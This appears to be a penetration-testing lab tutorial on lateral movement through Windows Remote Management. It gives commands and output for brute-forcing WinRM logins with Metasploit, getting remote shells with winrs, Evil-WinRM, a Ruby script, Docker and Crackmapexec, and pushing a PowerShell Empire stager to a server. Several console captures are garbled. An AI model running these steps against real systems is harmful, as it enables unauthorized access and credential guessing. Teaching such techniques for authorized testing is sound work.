

Lateral Movement Windows Remote Management



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Introduction

we will discuss all possible methods and tools used for WinRM penetration testing. Let's get deep into the WinRM service and its security assessment and learn more. This attack can be performed locally (using a Windows client machine) and remotely (using Kali Linux).

Lab Setup

Windows Server 2016: 192.168.1.105

Windows 10 client: 192.168.106

Kali Linux: 192.168.1.112

WinRM Service

WinRM is a command-line tool that enables administrators to remotely execute CMD.exe commands using the WS-Management protocol. This specification describes a general SOAP-based protocol for managing systems such as PCs, servers, devices, Web services, other applications, and other manageable entities. It uses port 5985 for HTTP transport and port 5986 for HTTPS transport.

On server and client versions of the Windows operating system, Enable-PSRemoting allows the administrator to access the remote shell using Powershell for private and domain networks through the WinRM service.

History of WinRM

Version 1.1 of Winrm has been found in Windows Vista and Windows Server 2008. Its version 2.0 has been found in Windows 7 and Windows Server 2008 R2, and the latest version 3.0 is pre-installed in Windows 8 and Windows 2012 Server, but you need to enable it in Windows 10.

WinRM Configuration

Configuring and installing WinRM is quite simple, but you only need to execute the commands below that will enable WinRM on the server for trusted hosts. Here we have given the wildcard character (*) to all the machines on the network. This type of configuration cloud is a threat to the server because it allows any machine to connect to a server that knows the server's credentials.

Enable-PSRemoting -Force winrm quickconfig -transport:https Set-Item wsman:\localhost\client\trustedhosts * Restart-Service WinRM

Note: WinrRM Service should be Enabled on both machines (Server and client)



Testing Connection

Now, with the help of the following command, we can check the server 's connectivity through any host machine on the network.

```
test-wsman -computername "WIN-S0V7KMTVLD2" test-wsman -computername "192.168.1.105"
```

As you can see, the version details of the protocol and the product have been revealed, so this shows that we are capable of connecting to the server.

```
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0

PS C:\Users\yashika.IGNITE.000> test-wsman -computername "192.168.1.105" 

wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0

PS C:\Users\yashika.IGNITE.000>
```



Lateral Movement-Locally

Connecting Server shell using CMD

As we know, WinRM is used to get a remote machine shell just like SSH, so if you have compromised an account or system that is a trusted host, you can access the server shell with the help of CMD. Here, first, we try to run the system command remotely using the server credential and then execute the following command.

winrs -r:192.168.1.105 -u:ignite.local\administrator -p:lgnite@987 ipconfig

Since we were able to run system command remotely thus, we try to access a remote shell with the help of the following command.

winrs -r:192.168.1.105 -u:ignite.local\administrator -p:lgnite@987 cmd dir



```
:\<u>Users\yashika.IGNITE.000</u>;winrs -r:192.168.1.105 -u:ignite.local\administrator -p:Ignite@987 cmd
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\Administrator>dir 📥
Volume in drive C has no label.
Volume Serial Number is 1C84-81C0
Directory of C:\Users\Administrator
06/06/2020 08:24 AM
                        <DIR>
06/06/2020 08:24 AM
                        <DIR>
04/15/2020 05:27 AM
                        <DIR>
                                      Contacts
06/05/2020 10:53 AM
                        <DIR>
                                      Desktop
05/18/2020 01:39 PM
                       <DIR>
                                      Documents
06/01/2020 12:43 PM
                       <DIR>
                                      Downloads
04/15/2020 05:27 AM
                       <DIR>
                                      Favorites
04/15/2020 05:27 AM
                                      Links
                       <DIR>
04/15/2020 05:27 AM
                       <DIR>
                                      Music
04/15/2020 05:27 AM
                       <DIR>
                                      Pictures
04/15/2020 05:27 AM
                        <DIR>
                                      Saved Games
04/15/2020 05:27 AM
                        <DTR>
                                      Searches
04/15/2020 05:27 AM
                       <DIR>
                                      Videos
              0 File(s)
                                     0 bytes
             13 Dir(s) 42,851,508,224 bytes free
C:\Users\Administrator>
```

Connecting Remote shell using PowerShell

Just like a command prompt, you can also use PowerShell to remotely run arbitrary system commands and thus execute the following command through a compromised system.

Invoke-Command -ComputerName "192.168.1.105" -Credential workgroup\administrator -Authentication Negotiate -Port 5985 -ScriptBlock {net user administrator}

As a result you can we have enumerated user details for the administrator account.

```
PS C:\Users\yashika.IGNITE.000> Invoke-Command -ComputerName
                                                                     8.1.105" -Credential workgroup\administrator -Authe
 ication Negotiate -Port 5985
                                   iptBlock {net user administrator}
User name
                             Administrator
                                                                                                    ⑫
Full Name
Comment
                             Built-in account for administering the computer/domain
User's comment
Country/region code
                             000 (System Default)
Account active
Account expires
                             Never
                             4/15/2020 5:26:40 AM
Password last set
Password expires
                             Never
Password changeable
                             4/16/2020 5:26:40 AM
Password required
                             Yes
User may change password
                             Yes
Workstations allowed
Logon script
User profile
Home directory
Last logon
                             6/6/2020 8:24:46 AM
Logon hours allowed
Local Group Memberships
                             *Administrators
Global Group memberships
                             *Domain Users
                                                   *Group Policy Creator
                             *Domain Admins
                                                   *Schema Admins
                             *Enterprise Admins
The command completed successfully.
```



Similarly, you can use PSSession to get a remote shell with PowerShell, so we need to run the following and get a server shell.

Enter-PSSession -ComputerName 192.168.1.105 -Credential administrator

Lateral Movement- Remotely

Scanning

So, first, you need to scan the host IP in order to identify available ports for WinRM and Nmap is the best tool to do so.

```
nmap -p5985,5986 -sV 192.168.1.105
```

From its scan, we found that 5985 (HTTP) is available for unsecure WinRM connections and 5986 (HTTPS) is available for secure WinRM connections.

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-06 13:44 EDT Nmap scan report for 192.168.1.105 Host is up (0.00046s latency).

PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: 00:0C:29:1F:07:D8 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```



Identify the WinRM Authentication Method

Further use can be made of Metasploit auxiliary to identify the authentication method used by WinRM. This module sends a request to an HTTP/HTTPS service to see if it is a WinRM service. If it is a WinRM service, it also gathers the authentication methods supported.

use auxiliary/scanner/winrm/winrm_auth_methods set rhosts 192.168.1.105 exploit

```
msf5 > use auxiliary/scanner/winrm/winrm_auth_methods
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > set rhosts 192.168.1.105
rhosts ⇒ 192.168.1.105
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > exploit

[+] 192.168.1.105:5985: Negotiate protocol supported
[+] 192.168.1.105:5985: Kerberos protocol supported
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/winrm/winrm_auth_methods) >
```

WinRM Login Brute Force

This module attempts to authenticate to a WinRM service. It currently works only if the remote end allows Negotiate (NTLM) authentication. Kerberos is not currently supported. Please note: in order to use this module without SSL, the 'AllowUnencrypted' winrm option must be set. Otherwise, adjust the port and set the SSL options in the module as appropriate.

```
use auxiliary/scanner/winrm/winrm_login
set rhosts 192.168.1.105
set user_file /root/user.txt
set pass_file /root/pass.txt
set stop_on_success true
exploit
```

As a result, it will try a valid combination of username and password and dump the output accordingly.



```
msf5 > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(
                                         ) > set rhosts 192.168.1.105
rhosts ⇒ 192.168.1.105
msf5 auxiliary(
                                        n) > set user_file /root/user.txt
user_file ⇒ /root/user.txt
                                        ) > set pass_file /root/pass.txt
msf5 auxiliary(
pass_file \Rightarrow /root/pass.txt
msf5 auxiliary(
                                       m) > set stop_on_success true
stop_on_success ⇒ true
msf5 auxiliary(
                                       in) > exploit
    No active DB -- Credential data will not be saved!
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\yashika:Ignite@123 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:pass (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\raj:Ignite@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\geet:Ignite@123 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:pass (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Password@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Ignite@987 (Incorrect:
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\aarti:Ignite@123 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:pass (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:Password@1 (Incorrect: )
    192.168.1.105:5985 - LOGIN FAILED: WORKSTATION\administrator:Passworda123 (Incorrect: )
    192.168.1.105:5985 - Login Successful: WORKSTATION\administrator:Ignite@987
    Scanned 1 of 1 hosts (100% complete)
    Auxiliary module execution completed
msf5 auxiliary(
```

Connect to Remote Shell through Ruby script

You can download the ruby script from GitHub that allows the Linux system to connect with Windows Protocol WinRM and provide access to the PowerShell of the target machine. Add the target IP, username, and password inside the download script, then install WinRM on your local machine and execute the script.

gem install winrm cat winrm-shell.rb ruby winrm-shell.rb

As a result, you will get PowerShell access to the target machine as shown.



```
<mark>|kali:∼#</mark> gem install winrm⊸
Successfully installed winrm-2.3.4
Parsing documentation for winrm-2.3.4
Done installing documentation for winrm after 0 seconds
1 gem installed
root@kali:~# cat winrm-shell.rb -
require 'winrm'
conn = WinRM::Connection.new(
 endpoint: 'http://192.168.1.105:5985/wsman',
 user: 'administrator',
password: 'Ignite@987',
command=""
conn.shell(:powershell) do |shell|
    until command = "exit\n" do
    print "PS > "
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end
   tmkali:~# ruby winrm-shell.rb
PS > dir
PS > ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix .:___
   IPv4 Address. . . . . . . . . . . . . . . . 192.168.1.105
   Default Gateway . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
   Media State . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix .:
Tunnel adapter Local Area Connection* 3:
   Media State . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix .:
PS >
```



Connecting Remote Shell through Evil-WinRM

Now using evil-winrm we try to access remote machine shell by connecting through port 5985 open for winrm. In our previous article we have already discussed on Evil-Winrm and its usage, you can more about it from here.

evil-winrm -i 192.168.1.105 -u administrator -p 'lgnite@987' menu ipconfig

As a result, it will give access to victim shell by providing its PowerShell as given below.



```
Evil-WinRM shell v2.3
        RM* PS C:\Users\Administrator\Documents> menu-
            By: CyberVaca, OscarAkaElvis, Laox @Hackplayers
[+] Bypass-4MSI
   Dll-Loader
+] Donut-Loader
[+] Invoke-Binary
 Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig.
Windows IP Configuration
Ethernet adapter Ethernet0:
  Connection-specific DNS Suffix .:
  IPv4 Address. . . . . . . . . . . . . . . . . 192.168.1.105
  Default Gateway . . . . . . . : 192.168.1.1
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
  Media State . . . . . . . . . : Media disconnected
  Connection-specific DNS Suffix
Tunnel adapter Local Area Connection* 3:
  Media State . . . . . . . . . : Media disconnected
  Connection-specific DNS Suffix .:
          PS C:\Users\Administrator\Documents>
```

Connecting Remote Shell through PowerShell Empire

Once you've compromised the host machine using the empire, as we've done here. Using Powershell Empire, you can perform post-exploitation to access the server shell via the client machine using the WinRM service.



agents interact 1MA7NT4R info

```
(Empire: listeners) > agents
[*] Active agents:
 Name
           La Internal IP
                                 Machine Name
                                                      Username
                                                                                 Process
                                                                                                       PID
                                                                                                               Delay
                                                                                                               5/0.0
 1MA7NT4R ps 192.168.1.106
                                                     IGNITE\yashika
                                                                                 powershell
                                 CLIENT1
                                                                                                       6968
(Empire: agents) > interact 1MA7NT4R
(Empire: 1MA7NT4R) > info
                                     1
         session_id
                                     1MA7NT4R
         listener
                                     http
                                     1MA7NT4R
         language
language_version
                                     powershell
                                     0.0
                                     192.168.1.106
         external_ip
         internal_ip
                                     192.168.1.106
                                     IGNITE\yashika
         high_integrity
                                     powershell
         process_name
         process_id
                                     6968
         hostname
                                   CLIENT1
                                    Microsoft Windows 10 Pro
R;2K|uG^olq*t!?v}9nyDQxTWs=0,V0j
         os_details
         session_key
                                     9779462265600831
                                     2020-06-06 14:31:52
2020-06-06 14:32:18
         checkin_time
         lastseen_time
                                     None
                                     None
                                     None
                                     /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                     6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
         kill_date
working_hours
lost_limit
                                     60
                                     None
(Empire: 1MA7NT4R) >
```

```
usemodule lateral_movement/invoke_psremoting
set Listener http
set ComputerName 192.168.1.105
set UserName administrator
set Password Ignite@987
execute
agents
interact XYEB7F6L
info
```

And finally! We got the shell of the server through client machine.



```
) > usemodule lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) > set Listener http
(Empire: powershell/lateral_movement/invoke_psremoting) > set ComputerName 192.168.1.105
(Empire: powershell/lateral_movement/invoke_psremoting) > set UserName administrator
(Empire: powershell/lateral_movement/invoke_psremoting) > set Password Ignite@987
(Empire: powershell/lateral_movement/invoke_psremoting) > execute
[*] Tasked 1MA7NT4R to run TASK_CMD_WAIT
[*] Agent 1MA7NT4R tasked with task ID 1
[*] Tasked agent 1MA7NT4R to run module powershell/lateral_movement/invoke_psremoting
(Empire: powershell/lateral_movement/invoke_psremoting) >
[*] Sending POWERSHELL stager (stage 1) to 192.168.1.105
[*] New agent XYEB7F6L checked in
[+] Initial agent XYEB7F6L from 192.168.1.105 now active (Slack)
[*] Sending agent (stage 2) to XYEB7F6L at 192.168.1.105
(Empire: powershell/lateral_movement/invoke_psremoting) > agents
[*] Active agents:
                             Machine Name
Name
          La Internal IP
                                               Username
                                                                       Process
 1MA7NT4R ps 192.168.1.106
                             CLIENT1
                                               IGNITE\yashika
                                                                       powershell
 XYEB7F6L ps 192.168.1.105 WIN-S0V7KMTVLD2
                                               *IGNITE\Administrator
                                                                       powershell
(Empire: agents) > interact XYEB7F6L
(Empire: XYEB7F6L) > info
[*] Agent info:
        session_id
                                XYEB7F6L
        listener
                                http
                                XYEB7F6L
        language
                                powershell
        language_version
                                5
        delay
                                0.0
        external_ip
                                192.168.1.105
        internal_ip
                                192.168.1.105
                                IGNITE\Administrator
       high_integrity
                                powershell
        process_name
        process_id
        hostname
                               WIN-SØV7KMTVLD2
       os_details
                                Microsoft Windows Server 2016 Standard Evaluation
        session_key
                                80P3`BF{)H•-YN;%?r~U}k≠Vxt/ZXv4
                                0264811606473456
                                2020-06-06 14:35:15
        checkin_time
                                2020-06-06 14:35:41
        lastseen_time
                                None
        parent
        children
                                None
        servers
                                None
        profile
                                /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (W
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        kill_date
```

Connecting Remote Shell through Docker

Docker image of PowerShell with NTLM support to allow for PS-Remoting from Linux to Windows, hence we can use this to access the shell of the server by executing the following command.



Read more from here.

docker run -it quickbreach/powershell-ntlm

Once it will install the docker image, you will get the session for login credential as shown below in the image. As soon as you will enter the server login it will give a shell of the server.

```
:~# docker run -it quickbreach/powershell-ntlm
Unable to find image 'quickbreach/powershell-ntlm:latest' locally latest: Pulling from quickbreach/powershell-ntlm
aeb7866da422: Pull complete
4e1916f27c9f: Pull complete
2011ef2c2dfb: Pull complete
43e50d384a14: Pull complete
9b8c213e2ea6: Pull complete
580adfdbbe6e: Pull complete
e6ec163021cb: Pull complete
Digest: sha256:81cb6748bbf055f65de83f62d91e924d9ff674b9a9223ad6e02c425db12b6a32
Status: Downloaded newer image for quickbreach/powershell-ntlm:latest
PowerShell 6.1.1
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /> $creds = Get-Credential
PowerShell credential request
Enter your credentials.
User: administrator
Password for user administrator: ********
PS /> Enter-PSSession -ComputerName 192.168.1.105 -Authentication Negotiate -Credential $creds
[192.168.1.105]: PS C:\Users\Administrator\Documents> dir
[192.168.1.105]: PS C:\Users\Administrator\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
   Connection-specific DNS Suffix .:
   IPv4 Address. . . . . . . . . : 192.168.1.105
   Subnet Mask . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . : 192.168.1.1
Tunnel adapter isatap.{1C11AE65-E2D6-499F-B777-3D1B8B2CD55A}:
   Media State . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
Tunnel adapter Local Area Connection* 3:
   Media State . . . . . . . . : Media disconnected Connection-specific DNS Suffix . :
[192.168.1.105]: PS C:\Users\Administrator\Documents>
```

Connecting Remote Shell through Crackmapexec

Now using Crackmapexec we try to execute arbitrary system command remotely by connecting through port 5985 open for winrm. In our previous article we have already discussed on Crackmapexec and its usage, you can more about it from here.



crackmapexec winrm 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -x ipconfig

As a result, it gives the output for the request command as shown.

```
WINRM 192.168.1.105 5986 WIN-S0V7KMTVLD2 [*] https://192.168.1.105:5986/wsman WINRM 192.168.1.105 5986 WIN-S0V7KMTVLD2 [*] IGNITE\Administrator:Ignite@987 (Pwn3d!) WINRM 192.168.1.105 5986 WIN-S0V7KMTVLD2 [*] IGNITE\Administrator:Ignite@987 (Pwn3d!) WINRM 192.168.1.105 5986 WIN-S0V7KMTVLD2 [*] Executed command WINRM 192.168.1.105 5986 WIN-S0V7KMTVLD2 [*] Executed command WIN-S0V
```

Reference:

https://docs.microsoft.com/en-us/windows/win32/winrm/about-windows-remote-management





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